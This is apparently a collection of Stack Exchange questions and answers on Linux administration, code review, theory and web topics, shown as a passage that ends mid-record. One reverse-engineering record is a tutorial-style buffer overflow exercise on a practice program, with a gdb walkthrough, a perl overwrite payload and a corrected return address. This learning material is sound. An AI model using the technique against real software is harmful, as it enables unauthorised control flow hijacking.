{  "id": "_unix.30798"  , "question": "In the package that I'm building, there are symbolic links within the Buildroot directory. For instance this: /home/sg/impkg/buildroot/dir1/bin/w_be -> /home/sg/impkg/buildroot/dir2/targ/beThis is making rpmbuild to fail with the error: RPM build errors: Symlink points to BuildRoot:  /home/sg/impkg/buildroot/dir1/bin/w_be -> /home/sg/impkg/buildroot/dir2/targ/beIn my %files section, I have only included the buildroot directory, which is what I want. Following is a snippet from my spec-file:Summary:                research compiler tool setLicense:                GPLName:                   %{name}Version:                %{version}Release:                %{release}Source:                 %{name}-%{version}.tar.gzPrefix:                 /usrGroup:                  Development/ToolsAutoreq:                0Autoprov:               0%descriptionresearch compiler tool set%prep%setup -q%buildrm -rf %{buildroot}/%{name}-%{version}mkdir %{buildroot}/%{name}-%{version}cd %{buildroot}/%{name}-%{version} && %{_builddir}/%{name}-%{version}/./configure --     prefix=%{buildroot}/%{name}-%{version}make %{?_smp_mflags} -C %{buildroot}/%{name}-%{version}%installcd %{buildroot}/%{name}-%{version} && make DESTDIR=%{buildroot}/%{name}-%{version}  install%cleanrm -rf %{buildroot}/%{name}-%{version}%files%defattr(755,-,-)/%{name}-%{version}I have to adhere to the logic, which means I cannot remove these links from the Makefiles...how do I solve this problem and generate the RPM?"  , "title": "rpmbuild error: Symlink points to BuildRoot"  , "tags": "rpm"  } 
{  "id": "_unix.315636"  , "question": "Maximalize window on Linux Mint 18 xfce not working when I use left mouse button and only when my window is on half screen, but when I use right mouse button it works."  , "title": "Maximalize window on Linux Mint 18 xfce not working"  , "tags": "xfce;window manager"  } 
{  "id": "_unix.288063"  , "question": "What's the difference between nohup foocommand and nohup foocommand &? I understand that & marks the task/job/process as running in the background but does that make it more resilient than it would otherwise be? What happens in both scenarios if my SSH session timeouts or if I get disconnected? "  , "title": "What happens if I don't use & at the end of a nohup command?"  , "tags": "centos;nohup"  } 
{  "id": "_webmaster.8633"  , "question": "I'm currently not using any sort of fancy stat tracking software such as feedburner, but I occasionally look at Google's stats in their Webmaster Tools just to get a rough idea of whether the number of subscribers is going up or down. This only gives the number of users subscribed through Google products, as they explain in their help documents:Subscriber stats display the number of Google users who have subscribed to your feeds using any Google product (such as Reader, iGoogle, or Orkut). Because users can subscribe to feeds using many different aggregators or RSS readers, the actual number of subscribers to your site may be higher.I used to use Google Reader very regularly but haven't opened it in a while now. The way I understand it, this will mean that even though I haven't touched any of those feeds in a long time I'm still technically subscribed to them and will therefore be included in Google's statistic. Is this correct? Also since Google runs Feedburner, does this have any effect on their stats as well?"  , "title": "Do Google's feed statistics include former users?"  , "tags": "google;statistics;feeds"  } 
{  "id": "_cstheory.21891"  , "question": "Given a $n\\times m$ grid, let the bottom-left vertex be $s$ and the top-right vertex be $t$.Given $k$ non-consecutive edges on the upper horizontal line of the grid, I want to find an upper bound on the number of simple $st$-path using those edges.If I see  the grid as a box in the plane, I can visualize an $st$-path as a rectilinear curve cutting this box. In this way I can associate each cell of the grid to either one or the other partition, getting as a trivial upper bound the value of $2^{n^2}$.Is there any better?I also thought that, if I am considering only the paths using the $k$ given edges on the upper line, then I can map each of these paths to a cut of the grid graph into $k+1$ partitions.Do you know whether any non-trivial upper bound on this number is known?Thanks for the help!"  , "title": "Number of $k$-cuts of grid graphs"  , "tags": "graph theory;planar graphs;upper bounds"  , "accepted_answer": "Consider this variation: we want to find number of paths which goes from $(1,1)->(n-2,n)$ in $(n-2)\\times n$ solid grid, this can be done in almost $2^{n(n-2)}$ possible ways. Then is simple to convert it to your case. Just go up one step, then go left $n$ steps, again up one step and then right $n$ steps. That path covers all of that $k$ edges, and these are just restricted versions, that means independent to $k$, the upperbound is big : $2^{O(n^2)}$."  } 
{  "id": "_unix.26834"  , "question": "I have a RedHat Linux server and I'm trying to make a copy of /var/lib/mysql/ibdata1, but I'm receiving an error saying permission denied and the file cannot be opened.I'm logged in as root user and tried to use sudo cp...Any idea of what I'm doing wrong? Sorry for my ignorance, but I don't know much about Unix systems. I was trying sudo su mysql to make the copy, then it asks for a password that should be the one I have, but it is saying it's wrong!"  , "title": "Can't make a copy of /var/lib/mysql/ibdata1"  , "tags": "rhel;sudo;mysql;cp"  } 
{  "id": "_codereview.63518"  , "question": "I am trying to implement a program which can convert number into words. My code can convert numbers between 0 - 999.  It uses recursive function calls and simple arithmetic operations. Can you please review it and give me your feedback?I used three different vectors to store words such as Six and Eleven and then access there indexes according to your input.numberToWord.h#ifndef numberToWord_H#define numberToWord_H#include <vector>#include <string>class numbertoword{public:    numbertoword();    ~numbertoword(){};public:    std::vector<std::string> one2nine;    std::vector<std::string> elevent2ninteen;    std::vector<std::string> twoDigit;    std::vector<std::string> threeDigit;public:    void initialize();    void convert(int number);    int countNumber(int number);    void calculate(int number, int count);    void display(int digit);private:    int xN, yN;    int originalNumber;};#endifSource.cpp#include <iostream>#include numberToWord.hnumbertoword::numbertoword() : xN(0), yN(0), originalNumber(0){}void numbertoword::initialize(){    //one to nine    one2nine.push_back(Zero);    one2nine.push_back(One);    one2nine.push_back(Two);    one2nine.push_back(Three);    one2nine.push_back(Four);    one2nine.push_back(Five);    one2nine.push_back(Six);    one2nine.push_back(Seven);    one2nine.push_back(Eight);    one2nine.push_back(Nine);    //eleven to ninteen    elevent2ninteen.push_back(Eleven);    elevent2ninteen.push_back(Twelve);    elevent2ninteen.push_back(Thirteen);    elevent2ninteen.push_back(Fourteen);    elevent2ninteen.push_back(Fifteen);    elevent2ninteen.push_back(Sixteen);    elevent2ninteen.push_back(Seventeen);    elevent2ninteen.push_back(Eighteen);    elevent2ninteen.push_back(Nineteen);    //TwoDigit    twoDigit.push_back(Ten);    twoDigit.push_back(Twenty);    twoDigit.push_back(Thirty);    twoDigit.push_back(Forty);    twoDigit.push_back(Fifty);    twoDigit.push_back(Sixty);    twoDigit.push_back(Seventy);    twoDigit.push_back(Eighty);    twoDigit.push_back(Ninety);    //threeDigit    threeDigit.push_back(Hundred);}void numbertoword::display(int digit){    if( originalNumber < 10)    {        std::cout<< one2nine[digit]<< ;    }    else if( originalNumber < 20)    {        std::cout<< elevent2ninteen[digit - 1]<< ;    }    else if( originalNumber < 100)    {        std::cout<< twoDigit[digit - 1]<< ;    }    else if( originalNumber < 1000)    {        std::cout<<one2nine[digit]<< <<threeDigit[0]<< ;    }}void numbertoword::calculate(int number, int count){    if( number < 10)    {        display(number); return;    }    xN = number / count;        yN = number - (xN * count);    if( number < 20 && number != 10)    {        display (yN ); return;    }    else if(number < 100 && yN == 0)    {        display( xN ); return;    }    else if(number < 100 )    {        display( xN );    }    else if(number < 1000 && yN == 0)    {        display(xN);        return;    }    else if(number < 1000 )    {        display(xN);    }    originalNumber = yN;    count = countNumber(originalNumber);    calculate(yN, count);}int numbertoword::countNumber(int number){    int c = 1;    while( number > 9)    {        number = number / 10;        c *= 10;    }    return c;}void numbertoword::convert(int number){    initialize();    originalNumber = number;    int c = countNumber(number);    calculate(number, c);}int main(){    numbertoword n2w;    n2w.convert(999);    std::cin.get();    return 0;}"  , "title": "Convert number into words"  , "tags": "c++;c++11;converting;numbers to words"  , "accepted_answer": "numberToWord.hConsider renaming numbertoword to NumberToWord.  This uses a naming convention referred to as PascalCase, which is different from your variables and functions.  Also notice that the compound words have been emphasized.  This makes it easier for others to read the full name.Since you're not using your own destructor, you can just leave it out.  The compiler will provide one for you that should be suitable.These names make no sense to me:int xN, yN;Unless these shortened names are obvious in the program, they should be spelled-out entirely so that others can understand them.  It may also benefit you in case you ever forget what they mean.Source.cppElaborating on what @vnp has mentioned about initializer lists, you can use it in place of the multiple calls to push_back():one2nine { one, two, three /* ... */ };Moreover, consider renaming the vector to oneToNine, which is less-awkward of a name.  Apply this to the other similar names as well.Better yet (regarding the use of vectors), you can use std::array instead.  It would be better-suited for this task as you're not needing a dynamic data structure here.This can be simplified:number = number / 10;by using the /= operator:number /= 10;With the existing curly braces, these should be on separate lines:display(number); return;You should be doing input-validation with this.  If the user inputs a non-numerical value or a value below 0 or above 999, the program should display an appropriate error message and then terminate.This program can be made more usable by accepting command line arguments:int main(int argc, char* argv[]){    int number;    // the file name is considered an argument    if (argc > 1)    {        number = std::atoi(argv[1]);    }    // only file name given    else if (argc == 1)    {        std::cin >> number;    }    // ...}(std::atoi() requires <cstdlib>)It would make more sense to construct numbertoword objects with the original number, rather than passing it to convert().  The function has no business doing that, and this initialization should only be done by the constructor.  The function should also no longer take arguments.numbertoword n2w(999);n2w.convert();In order for this to work, you should replace the default initializer list with one that takes an argument:numbertoword::numbertoword(int originalNumber)    : xN(0)    , yN(0)    , originalNumber(originalNumber){}(I've rearranged the list so that it's easier to maintain the data members.)"  } 
{  "id": "_unix.303280"  , "question": "I installed Ubuntu 16.04 on an ASUS Z450LA laptop, that has Intel HD5500 integrated graphics.The brightness up/down keys (Fn+F5/F6) don't work; however, if I use my desktop environment to control the brightness, it works, however is annoying to not have the easy way to control brightness.When I use xev, it shows that these keys are not generating events; it's as if the system doesn't detect them at all.What to do?The content of /sys/class/backlight:/sys/class/backlight$ lsintel_backlightand within the intel_backlight directory, has:actual_brightnessbl_powerbrightnessdevice -> ../../card0-eDP-1max_brightnesspowersubsystem -> ../../../../../../../class/backlighttypeuevent"  , "title": "Brightness up/down keys don't work"  , "tags": "ubuntu;laptop;brightness"  } 
{  "id": "_unix.304073"  , "question": "Since the specific limits at which the file system fails depends on the OS, we have a test that validates just that we can get up to 500 entries on an ACL, and that 4000 entries fails (should fail on all UNIX platforms at that level), this test has been working for a long time on different architecture and os version.Recently while running the test on:cat /etc/os-releaseNAME=SLESVERSION=12-SP1VERSION_ID=12.1PRETTY_NAME=SUSE Linux Enterprise Server 12 SP1ID=slesANSI_COLOR=0;32CPE_NAME=cpe:/o:suse:sles:12:sp1and filesystem type:cat /etc/fstab UUID=61e7-43bb-8cdc-80a3718e27b9 /                    xfs        defaults              1 1it passes and able to set ACL upto 4000 and doesn't complain, so I wanted to know whether OS allows for this file system to have this many acls and what's the limit?"  , "title": "Limit of ACL on x86 sles12 file system type xfs"  , "tags": "acl;sles;x86;xfs"  , "accepted_answer": "Xfs had a limit of 25 ACL entries for a long time but the limit was lifted in kernel 3.11. For xfs v5 or later, the limit is now as many as fit in the extended attribute list (64kB), which at 12 bytes per entry means 5460 entries if there are no other extended attributes (e.g. no SELinux context).I think some Linux filesystems can compress most ACL entries down to 4 bytes which would allow a little under 16384 entries.I don't understand why you'd test that there is a maximum number of ACL entries. This is not something you can count on. At any time the number could become effectively unlimited."  } 
{  "id": "_webmaster.25741"  , "question": "I have a question, let's say I have <input type=file name=image />. Will the text of the button will change if user will have different language as his system default one? If so than how can I force this button to use English by default?"  , "title": "input type=file default language is system language?"  , "tags": "html;browsers;language;operating system"  , "accepted_answer": "The only way to change this is by replacing the button, (e.g. with SWFUpload) but I don't see why you would want to.You shouldn't change the user's system language. They've chosen their system language for a reason, and there's an expectation that their UI will be rendered in this language that they can read/understand."  } 
{  "id": "_unix.346060"  , "question": "I'm newbie with networking, working on OSX and a little bit meticulous... for instance.I simply open an http server from my terminal (with node) listening on port 3000, which is obviously working if I request localhost:3000 in a browser.  Now, I want to see this connection so I use netstat.I'm supposed to see server connection on port 3000, and client connection on another port:  $ netstat -p tcpProto Recv-Q Send-Q  Local Address          Foreign Address        (state) tcp6       0      0  localhost.hbci         localhost.50215        ESTABLISHEDtcp6       0      0  localhost.50215        localhost.hbci         ESTABLISHEDtcp6       0      0  localhost.hbci         localhost.50214        ESTABLISHEDtcp6       0      0  localhost.50214        localhost.hbci         ESTABLISHEDtcp6       0      0  localhost.hbci         localhost.50213        ESTABLISHEDtcp6       0      0  localhost.50213        localhost.hbci         ESTABLISHEDtcp6       0      0  localhost.hbci         localhost.50211        ESTABLISHEDtcp6       0      0  localhost.hbci         localhost.50212        ESTABLISHEDtcp6       0      0  localhost.50212        localhost.hbci         ESTABLISHEDtcp6       0      0  localhost.50211        localhost.hbci         ESTABLISHEDtcp6       0      0  localhost.hbci         localhost.50210        ESTABLISHEDtcp6       0      0  localhost.50210        localhost.hbci         ESTABLISHEDNo entries about the server connection on port 3000. But the localhost.hbci, switching from a local to a foreign address, seems to be my server connection.And if I type:    $ lsof -i TCP:3000COMMAND  PID        USER   FD   TYPE DEVICE             SIZE/OFF  NODE NAMEnode    1144 garysounigo   11u  IPv6 0x6d9a12e1e288efc7 0t0       TCP  *:hbci (LISTEN)I'm sure that hbci represent my port 3000. Does anyone know something about what hbci means or refers to?Is it a port for local server ? A protocol for s local connection?I find anythings everywhere (  on any port.. ;) )"  , "title": "TCP *:hbci (LISTEN) - What hbci mean?"  , "tags": "linux;tcp;netstat"  , "accepted_answer": "Does anyone know what hbci means or refers to?HBCI stands for Home Banking Computer Interface, see http://openhbci.sourceforge.net/. The same port number is also used by the RemoteWare Client, at least according to http://www.networksorcery.com/enp/protocol/ip/ports03000.htm.The reason you are seeing it is because netstat and similar utilities look up port numbers in a database that maps them to symbolic names (usually, /etc/services).To suppress this behavior in netstat, one can pass the --numeric-ports option, or just -n which also makes some other things numeric."  } 
{  "id": "_unix.197706"  , "question": "My team and I will soon begin studying and practicing for the nation-wide Cyber Patriot program. As I'm famed for being our Linux guy, I would really like to improve my knowledge on the subject. Does anyone have any recommendations as to where to start? Generally with an emphasis on securing Linux machines. I have a machine running linux, but I don't know the ins and outs of the OS."  , "title": "How can I study Linux, in and out?"  , "tags": "linux;security"  } 
{  "id": "_unix.267933"  , "question": "I did a dist-upgrade from 4.3.0-kali1-amd64 to 4.4.0-kali1-amd64 but when I restart, the screen stucks at 'Loading initial ramdisk ...'. I had to use the advanced boot options to boot using 4.3.0-kali1-amd64 to be able to boot instead.What can I do to fix the problem?I am running kali linux on dual boot with windows 7. Kali is running on an encrypted LVM."  , "title": "Cannot boot kali linux after dist-upgrade, stucks at 'Loading initial ramdisk ...'"  , "tags": "linux;boot;kali linux;initramfs;initrd"  } 
{  "id": "_reverseengineering.11020"  , "question": "I understand the principles of exploiting a classical stack-based buffer-overflow, and now I want to practice it. Therefore I wrote the following test-application:#include <stdio.h>#include <string.h>#include <unistd.h>void public(char *args) {    char buff[12];    memset(buff, 'B', sizeof(buff));    strcpy(buff, args);    printf(\\nbuff: [%s] (%p)(%d)\\n\\n, &buff, buff, sizeof(buff));}void secret(void) {    printf(SECRET\\n);    exit(0);}int main(int argc, char *argv[]) {    int uid;    uid = getuid();    // Only when the user is root    if (uid == 0)        secret();    if (argc > 1) {        public(argv[1]);    }    else        printf(Kein Argument!\\n);}When the user which starts the program is root, the method secret() is being called, otherwise, the method public(...) is being called.I am using debian-gnome x64, so I had to compile it specifically to x86 to get x86-assembly (which I know better than x64).I compiled the program with gcc: gcc ret.c -o ret -m32 -g -fno-stack-protectorTarget:I want to call the method secret() without being a root-user. {To do that I have to overwrite the Return Instruction Pointer (RIP) with the address of the function secret()}Vulnerability:The method public(...) copies the program-args with the unsafe strcpy() method into the char-array buff. So it is possible to overwrite data on the stack, when the user starts the program with an arg > 11, where arg should be the length of the string-arg.Required Information:The address of the function secret().The address of the first buffer's first element. Due to ASCII-Encoding I know that each char has a size of 1 byte, so that the buffer's last element is 12 bytes ahead the first element.The address of the RIP, because I have to overwrite it secret()s address.OPTIONAL: It also helps to know the address of the Safed Frame Pointer (SFP).Methodical approach:Load the program into gdb: gdb -q ret.To get an overview of the full stack-frame of the method public(...) I have to set a breakpoint there, where the function-epilogue starts. This is at the enclosing brace } at line 11.Now I have to run the program with a valid arg: run A.At the breakpoint, I now want to view the stack-frame.(gdb) info frame 0Stack frame at 0xffffd2f0: eip = 0x804852d in public (ret.c:11); saved eip = 0x804858c called by frame at 0xffffd330 source language c. Arglist at 0xffffd2e8, args: args=0xffffd575 A Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0 Saved registers:  ebp at 0xffffd2e8, eip at 0xffffd2ecBecause from that I can gather the following information:The RIP is located at 0xffffd2ec and contains the address 0x804858c which contains the instruction 0x804858c <main+61>: add    $0x10,%esp.The SFP is located at 0xffffd2e8.Now I need the address, where the secret()-function starts:(gdb) print secret$2 = {void (void)} 0x804852f Last, but not least I get the buffer's address:(gdb) print/x &buff$4 = 0xffffd2d4To sum it up:RIP is at 0xffffd2ec.SFP is at 0xffffd2e8.buff is at 0xffffd2d4.This means that I would have to run the program with 0xffffd2ec - 0xffffd2d4 + 0x04 = 28 bytes (= chars).So, to exploit it I'd have to run the program with an arg which is 28 bytes long whereas the last 4 bytes contain the address of the function secret() (and pay attention to little-endian-ordering):(gdb) run `perl -e '{print Ax24; print \\xec\\d2\\ff\\ff; }'`The program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/patrick/Projekte/C/I. Stack_Overflow/ret `perl -e '{print Ax24; print \\xec\\d2\\ff\\ff; }'`buff: [AAAAAAAAAAAAAAAAAAAAAAAAd2                                  f                                   f] (0xffffd2b4)(12)Program received signal SIGSEGV, Segmentation fault.0x0c3264ec in ?? ()Two questions are rising up:Why is it not working. This example is basically from an older book I'm reading. But theoretically it should work so I think....Why is between buff and the SFP a 8-byte gap? What does this memory-area contain?EDIT: That's a download-link to the binary."  , "title": "Writing an exploit for sample-application"  , "tags": "c++;gdb;c;exploit;stack"  , "accepted_answer": "Why is it not working. This example is basically from an older book I'm reading. But theoretically it should work so I think....It's because you're overwriting the return address on the stack with 0xffffd2ec instead of 0x0804852f (the latter is the address for secret()).If you thus use '{print Ax24; print \\x2f\\85\\04\\08; }' instead, it should work.Why is between buff and the SFP a 8-byte gap? What does this memory-area contain?That gap is probably because of attempted optimizations made by gcc. The memory-area contains nothing (well, technically it contains 8 bytes whose values are indeterminate) and the code in the public() function neither reads from nor writes to that memory-area."  } 
{  "id": "_unix.287654"  , "question": "Problem statement: I want to extract an unknown string(last string) from a given path name in a single line command.Restrictions: The path is dynamic and can change with users input.Only last string is to be extracted using only one line o command.Sample:Eg1:/home/xyz/Desktop/toolsIn this case, I need to just extract the word tools.Eg2:/tmp/my_directory/my_big_dir/my_small/dir/crossIn this again, I need to extact the last string crossIs there a way to do this?I tried to use cut command but it didn't work as the path length is dynamic."  , "title": "Extract string from a path"  , "tags": "shell script"  , "accepted_answer": "I think basename is the command you are looking for.[me@host ~]# basename /home/xyz/Desktop/toolstools"  } 
{  "id": "_unix.276467"  , "question": "I am trying to start my python web.py server at boot, but I am having difficulties getting it running by itself.I have a config-file like the following. It's basically the sample file with an added program. The file lives in /etc/supervisor/conf.d/ and is called supervisord.conf[unix_http_server]file=/tmp/supervisor.sock[supervisord]logfile=/tmp/supervisord.loglogfile_maxbytes=50MBlogfile_backups=10loglevel=infopidfile=/tmp/supervisord.pidnodaemon=falseminfds=1024minprocs=200[rpcinterface:supervisor]supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface[supervisorctl]serverurl=unix:///tmp/supervisor.sock[program:server]directory = /home/pi/Server/command = python server.pyautostart = trueautorestart = trueuser = pienvironment=HOME=/home/pi, USER=pistdout_logfile = server-stdout.logstdout_logfile_maxbytes = 10MBstdout_logfile_backups = 5stderr_logfile = server-stderr.logstderr_logfile_maxbytes = 10MBstderr_logfile_backups = 5Now when I am rebooting my raspberry and open up supervisorctl I see the error: error: <class 'socket.error'>, [Errno 111] Connection refused: file: /usr/lib/python2.7/socket.py line: 571I managed to get it running if I cd into ~/Server where my server.py file is located and also copy the supervisord.conf there, then sudo service supervisor restart and sudo supervisord -c supervisord.conf.Now my server is running like it should...But I need my server to automatically at boot. I guess it's a problem with being root user vs. not or something like that... "  , "title": "Start my webpy server using supervisor"  , "tags": "python;supervisord"  } 
{  "id": "_cs.74407"  , "question": "I am studying about set cover problem and wondering that which problems in real world can be solved by set cover. I found that IBM used this problem for their anti-virus problem, so there should be many more others that can be solved by set cover."  , "title": "What are the real world applications of set cover problem?"  , "tags": "graphs;graph theory;set cover"  } 
{  "id": "_unix.43162"  , "question": "I have a small custom embedded Linux distribution (created with OpenEmbedded), which boots with GRUB 1.99. The aim is to have it start up fast.Currently it says:GRUB loading.for ~2+ seconds (this is probably unavoidable). Then:Welcome to GRUB!under it for a fraction of a second when it has finished loading.(There is no menu or menu timeout.) It clears the screen, then:Booting 'Disk'for ~8 seconds. This delay seems like it should be avoidable. I'd very much like to know how to make it not delay here.Then it continues on to:Decompressing Linux... Parsing ELF... done.Booting the kernel.And then lots of fast scrolling text as the kernel boots.The kernel image file is 1.8MB, and the disk image file is 16MB.The grub.cfg file looks like:set default=0set timeout=0menuentry Disk {    set root=(hd0,1)    linux /boot/Disk.kernel parport=0x378,7,3 ramdisk_size=16384 root=/dev/ram rw    initrd /boot/Disk.ext2}In another boot disk I have (on a Compact Flash card), I have exactly the same kernel, and a different disk image file, which 20MB. The config file is also identical, except that ramdisk_size=20480. This one has an extremely long delay of 69 seconds at that same point. Why is it so much longer? Thankfully, I don't need to use that boot disk often. But it would be nice to fix that one too, since presumably the delay is caused by the same thing.How do I fix this delay? What is it doing? How does one go about debugging a bootloader? Is it worth looking into a lighter weight bootloader like SYSLINUX instead? Will deleting some of the unused GRUB 2 modules improve it? (How does one find which modules are unused?)SummaryAll of the following have the exact same Linux 3.2 kernel:Flash disk A on computer X: 16MB image, GRUB 1.99, boot delay is ~8s; disk A's read speed is 20MB/s.Flash disk B on computer X: 20MB image, GRUB 1.99, boot delay is 69s; disk B's read speed is 20MB/s.Flash disk C on computer Y: 16MB image, GRUB 0.97, boot delay is.. extremely quick; disk C's read speed is 16MB/s.Note that computer Y is similar to computer X, but a bit slower.(The monitor is not even fast enough to show any GRUB screens at all. From the point of the BIOS screen disappearing to the Linux kernel loading screen first appearing, it shows 4.76s of blank screen - but the Linux kernel has already been loading for at least 1.5s by that time, so it's more like 3.2s at a maximum for GRUB to do its thing. This includes GRUB itself loading and BIOS deciding which drive to boot from, etc.)Unfortunately GRUB 0.97 like that instance is not able to be repeatably built like that, so it doesn't seem like a feasible option (although it would be nice).How do I make GRUB 2 fast??"  , "title": "Why is GRUB 2 booting so slowly?"  , "tags": "boot;grub2;embedded;boot loader"  , "accepted_answer": "I didn't find the cause of the slow booting with GRUB 2.I ended up using EXTLINUX instead, which is compact and fast, and better-suited if you don't need all the fancy GRUB 2 things.http://www.syslinux.org/wiki/index.php/EXTLINUX"  } 
{  "id": "_codereview.51805"  , "question": "The problem statement can be found here. In short, here's what the problem is about:You're given a set of numbers and you need to find whether the the numbers are ordinary or psycho. For a number to be psycho, its number of prime factors that occur even times should be greater than the number of prime factors that occur odd number of times. Else, it's ordinary.My solution for this is as follows:First, I initialize the Sieve of Eratosthenes. This is the fastest method I know to get a list of prime numbers.Next, I loop over all the test cases and loop over all it's factors that are prime to increment the even and odd counter, to finally compare them and find the answer. For this I have to loop from 0 to half of the number.This algorithm of mine is \\$O(n)\\$ for one input. Since the input size is of the order of \\$10^7\\$ and the number of inputs of the order of \\$10^6\\$ my algorithm takes time of the order of \\$10^{13}\\$. I need help with reducing this time.#include <cstdio>using namespace std;bool primes[5000000];void erastho(){   for (int i = 0; i < 5000000; i++)   {      primes[i] = 1;   }   primes[0] = 0;   primes[1] = 0;   for (int i = 2; i < 3164; i = i + 1)   {      if (primes[i])      {            int p = i*2;         while(p < 5000000)         {            primes[p] = 0;            p = p + i;         }      }      else continue;   }}int main(){   erastho();   int t;   scanf(%d, &t);   while(t--)   {      int n;      scanf(%d, &n);      int hal = n/2;      int v, ev = 0, od = 0;      for (int i = 2; i <= hal; i++)      {            if((primes[i]) && (n%i == 0))         {            while (n%i == 0)            {               n = n/i;               v++;            }            if (v % 2 == 0) ev++;            else od++;            v = 0;         }      }      if (ev > od)      {         printf(%s \\n,Psycho Number);      }      else      {         printf(%s \\n, Ordinary Number);      }   }}"  , "title": "Psycho and ordinary numbers"  , "tags": "c++;performance;primes;complexity;sieve of eratosthenes"  } 
{  "id": "_unix.353456"  , "question": "I have done the follow:chown'd it to a groupchmod 775usermodthis is the status of the permission drwxrwxr-x  3 root www-data 4096 Mar 22 23:11 htmlThe groups my user is in ubuntu : ubuntu adm dialout cdrom floppy sudo audio dip www-data video plugdev netdev lxdBut if I do touch test it just gives me a permission denied. Am I missing something.As for a little background, I'm running a Ubuntu server on AWS. I'm also trying to give my apache user writing permission in the html folder."  , "title": "File permissions changed but group user can't write in them"  , "tags": "ubuntu;permissions;permission denied"  } 
{  "id": "_reverseengineering.5874"  , "question": "I'm debugging a process inside a VM via Olly, and occasionally exporting a section dump when needed and loading it on the host system for better analysis.Right now I'm looking at a dump of a certain code section that's referencing function calls in another, dynamically allocated, section. In the debugger I can of course see all the function calls, but in IDA all I have are calls to immediate addresses that don't exist.I'd like to be able to dump the referenced section and somehow bluntly attach it to the same .idb so IDA would be able to resolve the references for me.I couldn't find anything about it on google or when digging around the menus.Did I miss something or is this impossible or requires an addon? It's also possible for me to write an idapython script that defines and copies the section over, but I don't see any relevant API calls.Debugging via IDA and taking a full memory snapshot is a solution I'd like to not have to use; I enjoy using olly."  , "title": "Adding another section to an idb file"  , "tags": "ida"  , "accepted_answer": "After loading the main dump into IDA, in IDA's menubar go to File Load file Additional binary file..., select the dump of the dynamically allocated memory, and specify the dynamic allocation address as the Loading segment."  } 
{  "id": "_softwareengineering.166059"  , "question": "I am starting a new job soon as a frontend developer. The App I would be working on is 100% Javascript on the client side. all the server returns is an index page that loads all the Javascript files needed by the app.Now here is the problem:The whole of the application is built around having functions wrapped to different namespaces. And from what I see, a simple function like rendering the HTML of a page can be accomplished by having a call to 2 or more functions across different namespace...My initial thought was this does not feel like the perfect solution and I can just envisage a lot of issues with maintaining the code and extending it down the line.Now I would soon start working on taking the project forward and would like to have suggestions on good case practices when it comes to writing and managing a relatively large amount of javascript code. "  , "title": "How to have a maintainable and manageable Javascript code base"  , "tags": "javascript;functional programming;maintainability"  , "accepted_answer": "This is a very good question, and a common problem in advancing JavaScript architecture.It sounds to me like you are describing the situation of tight-coupling.Once functions become objectified, the tendency is to reference these wonderful objects directly, from object to object, across namespaces even. Because it is easy right? var Object1, Object2 = {};Object1.somefunction = function(){   //Tight Coupling!!    Object2.functionCall();}It is easy, but these seemingly innocent hard-references gang up, to make you sad when you have to remove or replace objects. That happens a lot in JavaScript, so understanding tight-coupling is key to making a JS codebase maintainable.Here are some other thoughts:1 - If your objects are not already communicating by - triggering and listening to events; they should be. This is the solution to hard references.2 - Design Patterns. There are many challenges that have already been solved out there, the standardized reusable solutions - are Design Patterns.Understanding where the patterns are helps you focus on what solutions may make sense. One pattern for communicating across objects is called Publisher/Subscriber, or PubSub.3 - These things help with maintainability: MVC with a router, Templates - data binding, AJAX - through a Proxy or Delegate objects.  4 - Look for frameworks and libraries that solve the cross-browser problems for you. Don't re-invent the wheels you don't need to know more about. Depending on your environment, some may frameworks may become obvious choices.5 - Think about enhancement and optimizations like build systems, minification, linting, tdd, etc. 6 - Also, most important of all: Module Loaders. Take a look at Require.js It is a very nice way to break JS into modules, and then load them all in an optimized way.Hope that helps."  } 
{  "id": "_webmaster.12457"  , "question": "While checking server logs, I have seen that often the Bing bot requests this URL. URL:     /da-net/products/cadpac/cadpac_jis.shtmlBrowser: Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)Can anyone explain this?"  , "title": "Why does the Bing bot request this URL?"  , "tags": "bing"  } 
{  "id": "_codereview.115871"  , "question": "Recently, I ventured into the realm of C++ programming. I have extensive knowledge in C and C#, but very basic knowledge of C++. I decided to build a brief TicTacToe example to test my knowledge.It works by typing any comma-separated value (i.e. 2,1) and decides whose turn it is by odds and evens. X always goes first.Problems: Does not claim a winner. There is no fail-safe for picking the same spot twice. I realize this, but I wanted the semantics over the algorithm. And I don't know of a sure-fire way to find a winner with a vector since I imagine a sea of nested if-statements.I would love to know what looks legal, and what I should never do again.Board.h#include <iostream>#include <array>#include <vector>#include <string>#include <iterator>class Board{    /*    ** Protected boolean for checking for winner    */    bool gameWon = false;    /*    ** Use odd or even to tell whos turn it is    */    int turnCount = 0;public:    /*    ** Pair vector for locations of X's and O's    */    std::vector<std::pair<int, int>> locations;    bool GameWon(void){ return gameWon; }    void DrawBoard(void);    void NextTurn(void);private:    int FindLocation(std::pair<int, int>);};Board.cpp#include Board.hconst std::string line =  ------------- ;const std::string wall =  | ;/*** Brute Force Drawing**** Iterate over the 9 squares and** decide whether or not an X belongs** there or if it's an O. Upon each** square, check if the pair-location** (x,y) matches an item in our vector*/void Board::DrawBoard(){    // Clear screen on windows systems, throws an error    // on Unix and OS X    system(CLS);    std::cout << Tic-Tac-Toe Console << std::endl;    std::cout << line << std::endl;    for (int i = 0; i < 3; i++)    {        for (int j = 0; j < 3; j++)        {            bool tileOpen = true;            std::cout << wall;            if (locations.size() > 0)            {                for (std::pair<int, int> p : locations)                {                    if (p.first == i && p.second == j)                    {                        tileOpen = false;                        if (FindLocation(p) % 2 == 0)                        {                            std::cout << X;                        }                        else                        {                            std::cout << O;                        }                    }                }            }            else            {                std::cout << ;            }            if (tileOpen == true)                std::cout <<  ;        }        std::cout << wall << std::endl;        std::cout << line << std::endl;    }}/*** Handles Board Turns**** Assume every even turn is X,** and every odd is O.*/void Board::NextTurn(){    std::string input;    if (turnCount % 2 == 0)        std::cout <<  X's turn: << std::endl;    else        std::cout <<  O's turn: << std::endl;    std::cin >> input;    locations.push_back(std::pair<int, int>(input[0] - '0' - 1, input[2] - '0' - 1));    turnCount++;}/*** Vector Find Function**** Returns the index of a found object** in the vector; 0 if otherwise*/int Board::FindLocation(std::pair<int, int> p){    std::vector<std::pair<int, int>>::iterator it;    it = std::find(locations.begin(), locations.end(), p);    return std::distance(locations.begin(), it);}Main.cpp#include <iostream>#include Board.hint main(){    Board mainBoard;    /*    ** Check if there is a winner each cycle    */    while (!mainBoard.GameWon())    {        /*        ** Update Board        */        mainBoard.DrawBoard();        